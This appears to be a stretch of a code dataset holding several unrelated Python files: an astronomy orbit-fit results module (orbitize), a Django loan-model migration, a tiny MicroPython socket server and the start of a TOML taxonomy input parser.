sampler class that generated these results (default: None).\n post (np.array of float): MxN array of orbital parameters\n (posterior output from orbit-fitting process), where M is the\n number of orbits generated, and N is the number of varying orbital\n parameters in the fit (default: None).\n lnlike (np.array of float): M array of log-likelihoods corresponding to\n the orbits described in ``post`` (default: None).\n tau_ref_epoch (float): date (in days, typically MJD) that tau is defined relative to\n labels (list of str): parameter labels in same order as `post`\n data (astropy.table.Table): output from ``orbitize.read_input.read_file()``\n num_secondary_bodies (int): number of companions fit \n curr_pos (np.array of float): for MCMC only. A multi-D array of the current walker positions\n that is used for restarting a MCMC sampler. \n\n The ``post`` array is in the following order::\n\n semimajor axis 1, eccentricity 1, inclination 1,\n argument of periastron 1, position angle of nodes 1,\n epoch of periastron passage 1,\n [semimajor axis 2, eccentricity 2, etc.],\n [parallax, masses (see docstring for orbitize.system.System)]\n\n where 1 corresponds to the first orbiting object, 2 corresponds\n to the second, etc.\n\n Written: Henry Ngo, Sarah Blunt, 2018\n \"\"\"\n\n def __init__(self, sampler_name=None, post=None, lnlike=None, tau_ref_epoch=None, labels=None,\n data=None, num_secondary_bodies=None, version_number=None, curr_pos=None):\n\n self.sampler_name = sampler_name\n self.post = post\n self.lnlike = lnlike\n self.tau_ref_epoch = tau_ref_epoch\n self.labels = labels\n if self.labels is not None:\n self.param_idx = dict(zip(self.labels, np.arange(len(self.labels))))\n else:\n self.param_idx = None\n self.data=data\n self.num_secondary_bodies=num_secondary_bodies\n self.curr_pos = curr_pos\n self.version_number = version_number\n\n def add_samples(self, orbital_params, lnlikes, labels, curr_pos=None):\n \"\"\"\n Add accepted orbits, their likelihoods, and the orbitize version number to the results\n\n Args:\n orbital_params (np.array): add sets of orbital params (could be multiple) to results\n lnlike (np.array): add corresponding lnlike values to results\n labels (list of str): list of parameter labels specifying the order in ``orbital_params``\n curr_pos (np.array of float): for MCMC only. A multi-D array of the current walker positions\n\n Written: Henry Ngo, 2018\n \"\"\"\n \n # Adding the orbitize version number to the results\n self.version_number = orbitize.__version__\n\n # If no exisiting results then it is easy\n if self.post is None:\n self.post = orbital_params\n self.lnlike = lnlikes\n self.labels = labels\n self.param_idx = dict(zip(self.labels, np.arange(len(self.labels))))\n\n # Otherwise, need to append properly\n else:\n self.post = np.vstack((self.post, orbital_params))\n self.lnlike = np.append(self.lnlike, lnlikes)\n\n if curr_pos is not None:\n self.curr_pos = curr_pos\n\n def _set_sampler_name(self, sampler_name):\n \"\"\"\n internal method to set object's sampler_name attribute\n \"\"\"\n self.sampler_name = sampler_name\n\n def _set_version_number(self, version_number):\n \"\"\"\n internal method to set object's version_number attribute\n \"\"\"\n self.version_number = version_number\n\n def save_results(self, filename):\n \"\"\"\n Save results.Results object to an hdf5 file\n\n Args:\n filename (string): filepath to save to\n\n Save attributes from the ``results.Results`` object.\n\n ``sampler_name``, ``tau_ref_epcoh``, ``version_number`` are attributes of the root group.\n ``post``, ``lnlike``, and ``parameter_labels`` are datasets\n that are members of the root group.\n\n Written: Henry Ngo, 2018\n \"\"\"\n\n hf = h5py.File(filename, 'w') # Creates h5py file object\n # Add sampler_name as attribute of the root group\n hf.attrs['sampler_name'] = self.sampler_name\n hf.attrs['tau_ref_epoch'] = self.tau_ref_epoch\n hf.attrs['version_number'] = self.version_number\n # Now add post and lnlike from the results object as datasets\n hf.create_dataset('post', data=self.post)\n hf.create_dataset('data', data=self.data)\n if self.lnlike is not None:\n hf.create_dataset('lnlike', data=self.lnlike)\n if self.labels is not None:\n hf['col_names'] = np.array(self.labels).astype('S')\n hf.attrs['parameter_labels'] = self.labels \n if self.num_secondary_bodies is not None:\n hf.attrs['num_secondary_bodies'] = self.num_secondary_bodies\n if self.curr_pos is not None:\n hf.create_dataset(\"curr_pos\", data=self.curr_pos)\n\n hf.close() # Closes file object, which writes file to disk\n\n def load_results(self, filename, append=False):\n \"\"\"\n Populate the ``results.Results`` object with data from a datafile\n\n Args:\n filename (string): filepath where data is saved\n append (boolean): if True, then new data is added to existing object.\n If False (default), new data overwrites existing object\n\n See the ``save_results()`` method in this module for information on how the\n data is structured.\n\n Written: Henry Ngo, 2018\n \"\"\"\n hf = h5py.File(filename, 'r') # Opens file for reading\n # Load up each dataset from hdf5 file\n sampler_name = np.str(hf.attrs['sampler_name'])\n try:\n version_number = np.str(hf.attrs['version_number'])\n except KeyError:\n version_number = \"<= 1.13\"\n post = np.array(hf.get('post'))\n lnlike = np.array(hf.get('lnlike'))\n data=np.array(hf.get('data'))\n self.data=data\n\n # get the tau reference epoch\n try:\n tau_ref_epoch = float(hf.attrs['tau_ref_epoch'])\n except KeyError:\n # probably a old results file when reference epoch was fixed at MJD = 0\n tau_ref_epoch = 0\n try:\n labels = np.array([hf.attrs['parameter_labels']])[0]\n except KeyError:\n # again, probably an old file without saved parameter labels\n # old files only fit single planets\n labels = ['sma1', 'ecc1', 'inc1', 'aop1', 'pan1', 'tau1', 'plx', 'mtot']\n \n # rebuild parameter dictionary\n self.param_idx = dict(zip(labels, np.arange(len(labels))))\n\n try:\n num_secondary_bodies = int(hf.attrs['num_secondary_bodies'])\n except KeyError:\n # old, has to be single planet fit\n num_secondary_bodies = 1\n try:\n curr_pos = np.array(hf.get('curr_pos'))\n except KeyError:\n curr_pos = None\n\n hf.close() # Closes file object\n\n # doesn't matter if append or not. Overwrite curr_pos if not None\n if curr_pos is not None:\n self.curr_pos = curr_pos\n\n # Adds loaded data to object as per append keyword\n if append:\n # if no sampler_name set, use the input file's value\n if self.sampler_name is None:\n self._set_sampler_name(sampler_name)\n # otherwise only proceed if the sampler_names match\n elif self.sampler_name != sampler_name:\n raise Exception(\n 'Unable to append file {} to Results object. sampler_name of object and file do not match'.format(filename))\n # if no version_number set, use the input file's value\n if self.version_number is None:\n self._set_version_number(version_number)\n # otherwise only proceed if the version_numbers match\n elif self.version_number != version_number:\n raise Exception(\n 'Unable to append file {} to Results object. version_number of object and file do not match'.format(filename))\n # if no tau reference epoch is set, use input file's value\n if self.tau_ref_epoch is None:\n self.tau_ref_epoch = tau_ref_epoch\n # otherwise, only proceed if they are identical\n elif self.tau_ref_epoch != tau_ref_epoch:\n raise ValueError(\"Loaded data has tau reference epoch of {0} while Results object has already been initialized to {1}\".format(\n tau_ref_epoch, self.tau_ref_epoch))\n if self.labels is None:\n self.labels = labels\n elif self.labels.any() != labels.any():\n raise ValueError(\"Loaded data has parameter labels {} while Results object has already been initialized to {}.\".format(\n labels, self.labels))\n if self.num_secondary_bodies == 0:\n self.num_secondary_bodies = num_secondary_bodies\n elif self.num_secondary_bodies != num_secondary_bodies:\n raise ValueError(\"Loaded data has {} number of secondary bodies while Results object has already been initialized to {}.\".format(\n num_secondary_bodies, self.num_secondary_bodies))\n\n # Now append post and lnlike\n self.add_samples(post, lnlike, self.labels)\n else:\n # Only proceed if object is completely empty\n if self.sampler_name is None and self.post is None and self.lnlike is None and self.tau_ref_epoch is None and self.version_number is None:\n self._set_sampler_name(sampler_name)\n self.labels = labels\n self._set_version_number(version_number)\n self.add_samples(post, lnlike, self.labels)\n self.tau_ref_epoch = tau_ref_epoch\n self.num_secondary_bodies = num_secondary_bodies\n else:\n raise Exception(\n 'Unable to load file {} to Results object. append is set to False but object is not empty'.format(filename))\n\n def plot_corner(self, param_list=None, **corner_kwargs):\n \"\"\"\n Make a corner plot of posterior on orbit fit from any sampler\n\n Args:\n param_list (list of strings): each entry is a name of a parameter to include.\n Valid strings::\n\n sma1: semimajor axis\n ecc1: eccentricity\n inc1: inclination\n aop1: argument of periastron\n pan1: position angle of nodes\n tau1: epoch of periastron passage, expressed as fraction of orbital period\n [repeat for 2, 3, 4, etc if multiple objects]\n plx: parallax\n gamma: rv offset\n sigma: rv jitter\n mi: mass of individual body i, for i = 0, 1, 2, ... (only if fit_secondary_mass == True)\n mtot: total mass (only if fit_secondary_mass == False)\n\n **corner_kwargs: any remaining keyword args are sent to ``corner.corner``.\n See `here `_.\n Note: default axis labels used unless overwritten by user input.\n\n Return:\n ``matplotlib.pyplot.Figure``: corner plot\n\n .. Note:: **Example**: Use ``param_list = ['sma1,ecc1,inc1,sma2,ecc2,inc2']`` to only\n plot posteriors for semimajor axis, eccentricity and inclination\n of the first two companions\n\n Written: Henry Ngo, 2018\n \"\"\"\n\n # Define array of default axis labels (overwritten if user specifies list)\n default_labels = {\n 'sma': 'a [au]',\n 'ecc': 'ecc',\n 'inc': 'inc [$^\\\\circ$]',\n 'aop': '$\\\\omega$ [$^\\\\circ$]',\n 'pan': '$\\\\Omega$ [$^\\\\circ$]',\n 'tau': '$\\\\tau$',\n 'plx': '$\\\\pi$ [mas]',\n 'gam': '$\\\\gamma$ [km/s]',\n 'sig': '$\\\\sigma$ [km/s]',\n 'mtot': '$M_T$ [M$_{{\\\\odot}}$]',\n 'm0': '$M_0$ [M$_{{\\\\odot}}$]',\n 'm': '$M_{0}$ [M$_\\{{Jup\\}}$]',\n }\n\n if param_list is None:\n param_list = self.labels\n\n param_indices = []\n angle_indices = []\n secondary_mass_indices = []\n for i, param in enumerate(param_list):\n index_num = np.where(np.array(self.labels) == param)[0][0]\n\n # only plot non-fixed parameters\n if np.std(self.post[:, index_num]) > 0:\n param_indices.append(index_num)\n label_key = param\n if label_key.startswith('aop') or label_key.startswith('pan') or label_key.startswith('inc'):\n angle_indices.append(i)\n if label_key.startswith('m') and label_key != 'm0' and label_key != 'mtot':\n secondary_mass_indices.append(i)\n\n\n samples = np.copy(self.post[:, param_indices]) # keep only chains for selected parameters\n samples[:, angle_indices] = np.degrees(\n samples[:, angle_indices]) # convert angles from rad to deg\n samples[:, secondary_mass_indices] *= u.solMass.to(u.jupiterMass) # convert to Jupiter masses for companions\n\n if 'labels' not in corner_kwargs: # use default labels if user didn't already supply them\n reduced_labels_list = []\n for i in np.arange(len(param_indices)):\n label_key = param_list[i]\n if label_key.startswith(\"m\") and label_key != 'm0' and label_key != 'mtot':\n body_num = label_key[1]\n label_key = \"m\"\n elif label_key == 'm0' or label_key == 'mtot' or label_key.startswith('plx'):\n body_num = \"\"\n # maintain original label key\n else:\n body_num = label_key[3]\n label_key = label_key[0:3]\n reduced_labels_list.append(default_labels[label_key].format(body_num))\n\n corner_kwargs['labels'] = reduced_labels_list\n\n figure = corner.corner(samples, **corner_kwargs)\n return figure\n\n def plot_orbits(self, object_to_plot=1, start_mjd=51544.,\n num_orbits_to_plot=100, num_epochs_to_plot=100,\n square_plot=True, show_colorbar=True, cmap=cmap,\n sep_pa_color='lightgrey', sep_pa_end_year=2025.0,\n cbar_param='Epoch [year]', mod180=False, rv_time_series=False,plot_astrometry=True,\n fig=None):\n \"\"\"\n Plots one orbital period for a select number of fitted orbits\n for a given object, with line segments colored according to time\n\n Args:\n object_to_plot (int): which object to plot (default: 1)\n start_mjd (float): MJD in which to start plotting orbits (default: 51544,\n the year 2000)\n num_orbits_to_plot (int): number of orbits to plot (default: 100)\n num_epochs_to_plot (int): number of points to plot per orbit (default: 100)\n square_plot (Boolean): Aspect ratio is always equal, but if\n square_plot is True (default), then the axes will be square,\n otherwise, white space padding is used\n show_colorbar (Boolean): Displays colorbar to the right of the plot [True]\n cmap (matplotlib.cm.ColorMap): color map to use for making orbit tracks\n (default: modified Purples_r)\n sep_pa_color (string): any valid matplotlib color string, used to set the\n color of the orbit tracks in the Sep/PA panels (default: 'lightgrey').\n sep_pa_end_year (float): decimal year specifying when to stop plotting orbit\n tracks in the Sep/PA panels (default: 2025.0).\n cbar_param (string): options are the following: epochs, sma1, ecc1, inc1, aop1,\n pan1, tau1. Number can be switched out. Default is epochs.\n mod180 (Bool): if True, PA will be plotted in range [180, 540]. Useful for plotting short\n arcs with PAs that cross 360 deg during observations (default: False)\n rv_time_series (Boolean): if fitting for secondary mass using MCMC for rv fitting and want to\n display time series, set to True.\n astrometry (Boolean): set to True by default. Plots the astrometric data.\n fig (matplotlib.pyplot.Figure): optionally include a predefined Figure object to plot the orbit on.\n Most users will not need this keyword. \n\n Return:\n ``matplotlib.pyplot.Figure``: the orbit plot if input is valid, ``None`` otherwise\n\n\n (written): Henry Ngo, Sarah Blunt, 2018\n Additions by Malena Rice, 2019\n\n \"\"\"\n\n if Time(start_mjd, format='mjd').decimalyear >= sep_pa_end_year:\n raise ValueError('start_mjd keyword date must be less than sep_pa_end_year keyword date.')\n\n if object_to_plot > self.num_secondary_bodies:\n raise ValueError(\"Only {0} secondary bodies being fit. Requested to plot body {1} which is out of range\".format(self.num_secondary_bodies, object_to_plot))\n\n if object_to_plot == 0:\n raise ValueError(\"Plotting the primary's orbit is currently unsupported. Stay tuned..\")\n\n with warnings.catch_warnings():\n warnings.simplefilter('ignore', ErfaWarning)\n\n dict_of_indices = {\n 'sma': 0,\n 'ecc': 1,\n 'inc': 2,\n 'aop': 3,\n 'pan': 4,\n 'tau': 5,\n 'plx': 6 * self.num_secondary_bodies,\n }\n\n if cbar_param == 'Epoch [year]':\n pass\n elif cbar_param[0:3] in dict_of_indices:\n try:\n object_id = np.int(cbar_param[3:])\n except ValueError:\n object_id = 1\n\n index = dict_of_indices[cbar_param[0:3]] + 6*(object_id-1)\n else:\n raise Exception(\n 'Invalid input; acceptable inputs include epochs, sma1, ecc1, inc1, aop1, pan1, tau1, sma2, ecc2, ...')\n\n\n start_index = (object_to_plot - 1) * 6\n\n sma = self.post[:, start_index + dict_of_indices['sma']]\n ecc = self.post[:, start_index + dict_of_indices['ecc']]\n inc = self.post[:, start_index + dict_of_indices['inc']]\n aop = self.post[:, start_index + dict_of_indices['aop']]\n pan = self.post[:, start_index + dict_of_indices['pan']]\n tau = self.post[:, start_index + dict_of_indices['tau']]\n plx = self.post[:, dict_of_indices['plx']]\n\n # Then, get the other parameters\n if 'mtot' in self.labels:\n mtot = self.post[:, -1]\n elif 'm0' in self.labels:\n m0 = self.post[:, -1]\n m1 = self.post[:, -(self.num_secondary_bodies+1) + (object_to_plot-1)]\n mtot = m0 + m1\n \n # Select random indices for plotted orbit\n if num_orbits_to_plot > len(sma):\n num_orbits_to_plot = len(sma)\n choose = np.random.randint(0, high=len(sma), size=num_orbits_to_plot)\n\n raoff = np.zeros((num_orbits_to_plot, num_epochs_to_plot))\n deoff = np.zeros((num_orbits_to_plot, num_epochs_to_plot))\n vz_star = np.zeros((num_orbits_to_plot, num_epochs_to_plot))\n epochs = np.zeros((num_orbits_to_plot, num_epochs_to_plot))\n\n # Loop through each orbit to plot and calcualte ra/dec offsets for all points in orbit\n # Need this loops since epochs[] vary for each orbit, unless we want to just plot the same time period for all orbits\n for i in np.arange(num_orbits_to_plot):\n orb_ind = choose[i]\n # Compute period (from Kepler's third law)\n period = np.sqrt(4*np.pi**2.0*(sma*u.AU)**3/(consts.G*(mtot*u.Msun)))\n period = period.to(u.day).value\n # Create an epochs array to plot num_epochs_to_plot points over one orbital period\n epochs[i, :] = np.linspace(start_mjd, float(\n start_mjd+period[orb_ind]), num_epochs_to_plot)\n\n # Calculate ra/dec offsets for all epochs of this orbit\n raoff0, deoff0, _ = kepler.calc_orbit(\n epochs[i, :], sma[orb_ind], ecc[orb_ind], inc[orb_ind], aop[orb_ind], pan[orb_ind],\n tau[orb_ind], plx[orb_ind], mtot[orb_ind], tau_ref_epoch=self.tau_ref_epoch, tau_warning=False\n )\n\n raoff[i, :] = raoff0\n deoff[i, :] = deoff0\n\n # Create a linearly increasing colormap for our range of epochs\n if cbar_param != 'Epoch [year]':\n cbar_param_arr = self.post[:, index]\n norm = mpl.colors.Normalize(vmin=np.min(cbar_param_arr),\n vmax=np.max(cbar_param_arr))\n norm_yr = mpl.colors.Normalize(vmin=np.min(\n cbar_param_arr), vmax=np.max(cbar_param_arr))\n\n elif cbar_param == 'Epoch [year]':\n norm = mpl.colors.Normalize(vmin=np.min(epochs), vmax=np.max(epochs[-1, :]))\n\n norm_yr = mpl.colors.Normalize(\n vmin=np.min(Time(epochs, format='mjd').decimalyear),\n vmax=np.max(Time(epochs, format='mjd').decimalyear)\n )\n\n # Create figure for orbit plots\n if fig is None:\n fig = plt.figure(figsize=(14, 6))\n if rv_time_series:\n fig = plt.figure(figsize=(14, 9))\n ax = plt.subplot2grid((3, 14), (0, 0), rowspan=2, colspan=6)\n else:\n fig = plt.figure(figsize=(14, 6))\n ax = plt.subplot2grid((2, 14), (0, 0), rowspan=2, colspan=6)\n else:\n plt.set_current_figure(fig)\n if rv_time_series:\n ax = plt.subplot2grid((3, 14), (0, 0), rowspan=2, colspan=6)\n else:\n ax = plt.subplot2grid((2, 14), (0, 0), rowspan=2, colspan=6)\n \n data=self.data\n astr_inds=np.where((~np.isnan(data['quant1'])) & (~np.isnan(data['quant2'])))\n astr_epochs=data['epoch'][astr_inds]\n\n radec_inds = np.where(data['quant_type'] == 'radec')\n seppa_inds = np.where(data['quant_type'] == 'seppa')\n\n sep_data, sep_err=data['quant1'][seppa_inds],data['quant1_err'][seppa_inds]\n pa_data, pa_err=data['quant2'][seppa_inds],data['quant2_err'][seppa_inds]\n\n if len(radec_inds[0] > 0):\n\n\n sep_from_ra_data, pa_from_dec_data = orbitize.system.radec2seppa(\n data['quant1'][radec_inds], data['quant2'][radec_inds]\n )\n\n num_radec_pts = len(radec_inds[0])\n sep_err_from_ra_data = np.empty(num_radec_pts)\n pa_err_from_dec_data = np.empty(num_radec_pts)\n for j in np.arange(num_radec_pts):\n\n sep_err_from_ra_data[j], pa_err_from_dec_data[j], _ = orbitize.system.transform_errors(\n np.array(data['quant1'][radec_inds][j]), np.array(data['quant2'][radec_inds][j]), \n np.array(data['quant1_err'][radec_inds][j]), np.array(data['quant2_err'][radec_inds][j]), \n np.array(data['quant12_corr'][radec_inds][j]), orbitize.system.radec2seppa\n )\n\n sep_data = np.append(sep_data, sep_from_ra_data)\n sep_err = np.append(sep_err, sep_err_from_ra_data)\n\n pa_data = np.append(pa_data, pa_from_dec_data)\n pa_err = np.append(pa_err, pa_err_from_dec_data)\n\n # Plot each orbit (each segment between two points coloured using colormap)\n for i in np.arange(num_orbits_to_plot):\n points = np.array([raoff[i, :], deoff[i, :]]).T.reshape(-1, 1, 2)\n segments = np.concatenate([points[:-1], points[1:]], axis=1)\n lc = LineCollection(\n segments, cmap=cmap, norm=norm, linewidth=1.0\n )\n if cbar_param != 'Epoch [year]':\n lc.set_array(np.ones(len(epochs[0]))*cbar_param_arr[i])\n elif cbar_param == 'Epoch [year]':\n lc.set_array(epochs[i, :])\n ax.add_collection(lc)\n\n if plot_astrometry:\n ra_data,dec_data=orbitize.system.seppa2radec(sep_data,pa_data)\n ax.scatter(ra_data,dec_data,marker='*',c='#FF7F11',zorder=10,s=60)\n # modify the axes\n if square_plot:\n adjustable_param = 'datalim'\n else:\n adjustable_param = 'box'\n ax.set_aspect('equal', adjustable=adjustable_param)\n ax.set_xlabel('$\\\\Delta$RA [mas]')\n ax.set_ylabel('$\\\\Delta$Dec [mas]')\n ax.locator_params(axis='x', nbins=6)\n ax.locator_params(axis='y', nbins=6)\n ax.invert_xaxis() # To go to a left-handed coordinate system\n\n # Rob: Moved colorbar size to the bottom after tight_layout() because the cbar scaling was not compatible with tight_layout()\n\n # plot sep/PA and/or rv zoom-in panels\n if rv_time_series:\n ax1 = plt.subplot2grid((3, 14), (0, 8), colspan=6)\n ax2 = plt.subplot2grid((3, 14), (1, 8), colspan=6)\n ax3 = plt.subplot2grid((3, 14), (2, 0), colspan=14, rowspan=1)\n ax2.set_ylabel('PA [$^{{\\\\circ}}$]')\n ax1.set_ylabel('$\\\\rho$ [mas]')\n ax3.set_ylabel('RV [km/s]')\n ax3.set_xlabel('Epoch')\n ax2.set_xlabel('Epoch')\n plt.subplots_adjust(hspace=0.3)\n else:\n ax1 = plt.subplot2grid((2, 14), (0, 9), colspan=6)\n ax2 = plt.subplot2grid((2, 14), (1, 9), colspan=6)\n ax2.set_ylabel('PA [$^{{\\\\circ}}$]')\n ax1.set_ylabel('$\\\\rho$ [mas]')\n ax2.set_xlabel('Epoch')\n\n epochs_seppa = np.zeros((num_orbits_to_plot, num_epochs_to_plot))\n\n for i in np.arange(num_orbits_to_plot):\n\n orb_ind = choose[i]\n\n epochs_seppa[i, :] = np.linspace(\n start_mjd,\n Time(sep_pa_end_year, format='decimalyear').mjd,\n num_epochs_to_plot\n )\n\n # Calculate ra/dec offsets for all epochs of this orbit\n if rv_time_series:\n raoff0, deoff0, vzoff0 = kepler.calc_orbit(\n epochs_seppa[i, :], sma[orb_ind], ecc[orb_ind], inc[orb_ind], aop[orb_ind], pan[orb_ind],\n tau[orb_ind], plx[orb_ind], mtot[orb_ind], tau_ref_epoch=self.tau_ref_epoch,\n mass_for_Kamp=m0[orb_ind], tau_warning=False\n )\n\n raoff[i, :] = raoff0\n deoff[i, :] = deoff0\n else:\n raoff0, deoff0, _ = kepler.calc_orbit(\n epochs_seppa[i, :], sma[orb_ind], ecc[orb_ind], inc[orb_ind], aop[orb_ind], pan[orb_ind],\n tau[orb_ind], plx[orb_ind], mtot[orb_ind], tau_ref_epoch=self.tau_ref_epoch, tau_warning=False\n )\n\n raoff[i, :] = raoff0\n deoff[i, :] = deoff0\n\n yr_epochs = Time(epochs_seppa[i, :], format='mjd').decimalyear\n\n seps, pas = orbitize.system.radec2seppa(raoff[i, :], deoff[i, :], mod180=mod180)\n\n plt.sca(ax1)\n plt.plot(yr_epochs, seps, color=sep_pa_color)\n # plot separations from data points \n plt.scatter(Time(astr_epochs,format='mjd').decimalyear,sep_data,s=10,marker='*',c='purple',zorder=10)\n\n plt.sca(ax2)\n plt.plot(yr_epochs, pas, color=sep_pa_color)\n plt.scatter(Time(astr_epochs,format='mjd').decimalyear,pa_data,s=10,marker='*',c='purple',zorder=10)\n\n if rv_time_series:\n \n # switch current axis to rv panel\n plt.sca(ax3)\n \n # get list of instruments\n insts=np.unique(data['instrument'])\n insts=[i if isinstance(i,str) else i.decode() for i in insts]\n insts=[i for i in insts if 'def' not in i]\n \n # get gamma/sigma labels and corresponding positions in the posterior\n gams=['gamma_'+inst for inst in insts]\n\n if isinstance(self.labels,list):\n labels=np.array(self.labels)\n else:\n labels=self.labels\n \n # get the indices corresponding to each gamma within self.labels\n gam_idx=[np.where(labels==inst_gamma)[0][0] for inst_gamma in gams]\n\n # indices corresponding to each instrument in the datafile\n inds={}\n for i in range(len(insts)):\n inds[insts[i]]=np.where(data['instrument']==insts[i].encode())[0]\n\n # choose the orbit with the best log probability\n best_like=np.where(self.lnlike==np.amin(self.lnlike))[0][0] \n med_ga=[self.post[best_like,i] for i in gam_idx]\n\n # colour/shape scheme scheme for rv data points\n clrs=['0496FF','372554','FF1053','3A7CA5','143109']\n symbols=['o','^','v','s']\n \n # get rvs and plot them\n for i,name in enumerate(inds.keys()):\n rv_inds=np.where((np.isnan(data['quant2'])))\n inst_data=data[inds[name]]\n rvs=inst_data['quant1']\n epochs=inst_data['epoch']\n epochs=Time(epochs, format='mjd').decimalyear\n rvs-=med_ga[i]\n plt.scatter(epochs,rvs,marker=symbols[i],s=5,label=name,c=f'#{clrs[i]}',zorder=5)\n \n inds[insts[i]]=np.where(data['instrument']==insts[i])[0]\n plt.legend()\n\n \n # calculate the predicted rv trend using the best orbit \n raa, decc, vz = kepler.calc_orbit(\n epochs_seppa[i, :], sma[best_like], ecc[best_like], inc[best_like], aop[best_like], pan[best_like],\n tau[best_like], plx[best_like], mtot[best_like], tau_ref_epoch=self.tau_ref_epoch,\n mass_for_Kamp=m0[best_like]\n )\n \n vz=vz*-(m1[best_like])/np.median(m0[best_like])\n\n # plot rv trend\n \n plt.plot(Time(epochs_seppa[i, :],format='mjd').decimalyear, vz, color=sep_pa_color)\n\n\n # add colorbar\n if show_colorbar:\n if rv_time_series:\n # Create an axes for colorbar. The position of the axes is calculated based on the position of ax.\n # You can change x1.0.05 to adjust the distance between the main image and the colorbar.\n # You can change 0.02 to adjust the width of the colorbar.\n cbar_ax = fig.add_axes(\n [ax.get_position().x1+0.005, ax.get_position().y0, 0.02, ax.get_position().height])\n cbar = mpl.colorbar.ColorbarBase(\n cbar_ax, cmap=cmap, norm=norm_yr, orientation='vertical', label=cbar_param)\n else:\n # xpos, ypos, width, height, in fraction of figure size\n cbar_ax = fig.add_axes([0.47, 0.15, 0.015, 0.7])\n cbar = mpl.colorbar.ColorbarBase(\n cbar_ax, cmap=cmap, norm=norm_yr, orientation='vertical', label=cbar_param)\n\n ax1.locator_params(axis='x', nbins=6)\n ax1.locator_params(axis='y', nbins=6)\n ax2.locator_params(axis='x', nbins=6)\n ax2.locator_params(axis='y', nbins=6)\n\n return fig\n","sub_path":"orbitize/results.py","file_name":"results.py","file_ext":"py","file_size_in_byte":33530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"329047701","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.core.validators\nimport phonenumber_field.modelfields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Borrower',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=200)),\n ('email', models.EmailField(max_length=254)),\n ('phone', phonenumber_field.modelfields.PhoneNumberField(max_length=128)),\n ],\n ),\n migrations.CreateModel(\n name='Business',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('company_name', models.CharField(max_length=200)),\n ('address', models.TextField()),\n ('registered_number', models.CharField(max_length=8)),\n ('business_sector', models.CharField(max_length=4, choices=[(b'RE', b'retail'), (b'PS', b'Profession Services'), (b'FOOD', b'Food and Drink'), (b'ENT', b'Entertainment')])),\n ('owner', models.ForeignKey(to='loan.Borrower')),\n ],\n ),\n migrations.CreateModel(\n name='Loan',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('amount', models.PositiveIntegerField(validators=[django.core.validators.MinValueValidator(10000), django.core.validators.MaxValueValidator(100000)])),\n ('days', models.PositiveIntegerField()),\n ('reason', models.TextField()),\n ('business', models.ForeignKey(to='loan.Business')),\n ],\n ),\n ]\n","sub_path":"loan/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"350729665","text":"import machine\nimport time\nimport socket\n\npins = [machine.Pin(i, machine.Pin.IN) for i in\n (0, 2, 4, 5, 12, 13, 14, 15)]\n\ndef simple_server():\n\n port = 14900\n # routes = {}\n stop = False\n sock = socket.socket()\n sock.bind((\"\", port))\n sock.settimeout(2)\n sock.listen(5)\n\n try:\n while 1: # работаем постоянно\n try:\n if stop:\n break\n conn, addr = sock.accept()\n data = '1'\n data = data.encode(\"utf-8\")\n conn.send(data)\n # print(\"New connection from \" + addr[0])\n except:\n continue\n finally:\n # так при любой ошибке\n # сокет закроем корректно\n conn.close()\n finally:\n sock.close()","sub_path":"simple_server.py","file_name":"simple_server.py","file_ext":"py","file_size_in_byte":883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"443215207","text":"# -*- coding: utf-8 -*-\n\"\"\"Read a TOML taxonomic input table and read files from URLs.\"\"\"\n# standard library imports\\\nimport contextlib\nimport json\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom pathlib import Path\n\n# third-party imports\nimport attr\nimport pandas as pd\nimport smart_open\nimport toml\nfrom pathvalidate import validate_filename\nfrom pathvalidate import ValidationError\nfrom loguru import logger\n\n# module imports\nfrom .common import dotpath_to_path\nfrom .taxonomy import rankname_to_number\n\n# global constants\n__all__ = [\"TaxonomicInputTable\", \"read_from_url\"]\nFILE_TRANSPORT = \"file://\"\nREQUIRED_LEAF_NAMES = (\n \"fasta\",\n \"gff\",\n)\nCOMPRESSION_EXTENSIONS = (\n \"gz\",\n \"bz2\",\n)\n\n\nclass TaxonomicInputTable:\n\n \"\"\"Parse an azulejo input dictionary.\"\"\"\n\n def __init__(self, toml_path, write_table=True):\n \"\"\"Create structures.\"\"\"\n self.depth = 0\n try:\n tree = toml.load(toml_path)\n except TypeError:\n logger.error(f\"Error in filename {toml_path}\")\n sys.exit(1)\n except toml.TomlDecodeError as e:\n logger.error(f\"File {toml_path} is not valid TOML\")\n logger.error(e)\n sys.exit(1)\n if len(tree) > 1:\n logger.error(\n f\"Input file {toml_path} should define a single \"\n + f\"object, but defines {len(tree)} instead\"\n )\n sys.exit(1)\n self.setname = self._validate_name(list(tree.keys())[0])\n root_path = Path(self.setname)\n if not root_path.exists():\n logger.info(f\"Creating directory for set {self.setname}\")\n root_path.mkdir(parents=True)\n self._Node = attr.make_class(\n \"Node\", [\"path\", \"name\", \"rank\", \"rank_val\"]\n )\n self._nodes = []\n self._genome_dir_dict = {}\n self._n_genomes = 0\n self._walk(self.setname, tree[self.setname])\n self.input_table = pd.DataFrame.from_dict(\n self._genome_dir_dict\n ).transpose()\n del self._genome_dir_dict\n del self._nodes\n self.input_table.index.name = \"order\"\n if write_table:\n input_table_path = root_path / \"proteomes.tsv\"\n logger.debug(\n f\"Input table of {len(self.input_table)} genomes written to {input_table_path}\"\n )\n self.input_table.to_csv(input_table_path, sep=\"\\t\")\n saved_input_path = root_path / \"input.toml\"\n if toml_path != saved_input_path:\n shutil.copy2(toml_path, root_path / \"input.toml\")\n\n def _validate_name(self, name):\n \"\"\"Check if a potential filename is valid or not.\"\"\"\n try:\n validate_filename(name)\n except ValidationError as e:\n logger.error(f\"Invalid component name {name} in input file\")\n sys.exit(1)\n return name\n\n def _validate_uri(self, uri):\n \"\"\"Check if the transport at the start of a URI is valid or not.\"\"\"\n try:\n 